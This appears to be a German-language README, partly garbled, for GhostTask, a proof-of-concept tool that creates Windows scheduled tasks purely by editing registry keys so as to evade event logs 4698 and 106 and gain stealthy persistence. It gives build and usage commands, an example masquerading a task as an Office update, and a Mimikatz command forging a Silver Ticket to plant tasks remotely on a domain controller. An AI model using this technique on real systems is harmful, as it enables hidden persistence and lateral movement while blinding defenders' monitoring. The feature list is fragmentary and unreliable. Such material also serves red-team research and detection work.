
Ein Tool nutzt direkte Registry-Manipulation, um geplante Aufgaben zu erstellen, ohne die üblichen Ereignisprotokolle auszulösen.
Inspiriert von WithSecure' Forschung zu Scheduled Task Tampering, erläuterten sie die Machbarkeit, eine geplante Aufgabe ausschließlich durch Manipulation von Registrierungsschlüsseln zu erstellen. Ein solcher Ansatz kann die Erstellung von Ereignisprotokollen zur geplanten Aufgaben, wie 4698 und 106, umgehen und bietet eine heimlichere Methode zur Persistenz. Angesichts dieser Erkenntnisse habe ich diesen POC entwickelt, um die Erstellung geplanter Aufgaben durch direkte Registrierungsmanipulation zu demonstrieren.
Das Erstellen einer neuen geplanten Aufgabe erfordert das Hinzufügen mehrerer Registrierungsschlüssel und deren zugehöriger Werte. Da die Struktur der Registrierungswerte für geplante Aufgaben nicht dokumentiert ist, basierte meine Methodik zum Aufbau dieser Strukturen hauptsächlich auf Versuch und Irrtum, geleitet durch Vergleiche mit den Registrierungswerten legitimer geplanter Aufgaben. Außerdem habe ich mich auf die Schnittstellen in der Header-Datei Taskschd.h bezogen und ausgiebig aus Cyber.WTF Windows Registry Analysis – Today's Episode: Tasks geschöpft. Diese Forschung war unschätzbar, um die Struktur jedes Registrierungswerts wie Triggers, Actions und DynamicInfo zu formulieren, die für den Aufbau einer funktionsfähigen geplanten Aufgabe erforderlich waren.
Das Tool bietet folgende Funktionen:
BruteRatel's memexec)*Anmerkung:
ScheduledTaskCreated) in MDE (Microsoft Defender For Endpoint) generiertUsage: GhostTask.exe <hostname/localhost> <operation> <taskname> <program> <argument> <username> <scheduletype> <time/second> <day>
- hostname/localhost: Remote computer name or "localhost".
- operation: add/delete
- add: Create or modify a scheduled task using only registry keys. Requires restarting the "Schedule" service to load the task definition.
- delete: Delete a scheduled task. Requires restarting the "Schedule" service to offload the task.
- taskname: Name of the scheduled task.
- program: Program to be executed.
- argument: Arguments for the program.
- username: User account under which the scheduled task will run.
- scheduletype: Supported triggers: second, daily, weekly, and logon.
- time/second (applicable for 'second', 'daily', and 'weekly' triggers):
- For 'second' trigger: Specify the frequency in seconds for task execution.
- For 'daily' and 'weekly' triggers: Specify the exact time (e.g., 22:30) for task execution.
- day (applicable for 'weekly' trigger): Days to execute the scheduled task (e.g., monday, thursday).
x86_64-w64-mingw32-gcc GhostTask.c -o GhostTask.exe -lrpcrt4
GhostTask.exe localhost add demo "cmd.exe" "/c notepad.exe" LAB\Administrator weekly 14:12 monday,thursday

GhostTask.exe localhost add "Microsoft\Office\Office Automatic Updates 2.0" "cmd.exe" "/c notepad.exe" LAB\employee001 daily 20:37

Wie im WithSecure-Blog (Extra: Lateral Movement-Abschnitt) beschrieben, kann diese Technik verwendet werden, um mit einem speziell erstellten Silver Ticket remote eine neue geplante Aufgabe zu erstellen.
kerberos::golden /domain:LAB.CORP /sid:S-1-5-21-1111111111-1111111111-1111111111 /aes256:[aes256hash] /user:Administrator /service:cifs /target:dc01.lab.corp /sids:S-1-5-18 /endin:600 /renewmax:10080
Erstellen Sie eine neue geplante Aufgabe remote auf dem DC01-Server, die notepad.exe jeden Tag um 15:19 Uhr startet:
GhostTask.exe DC01.lab.corp add demo "cmd.exe" "/c notepad.exe" LAB\Administrator daily 15:19
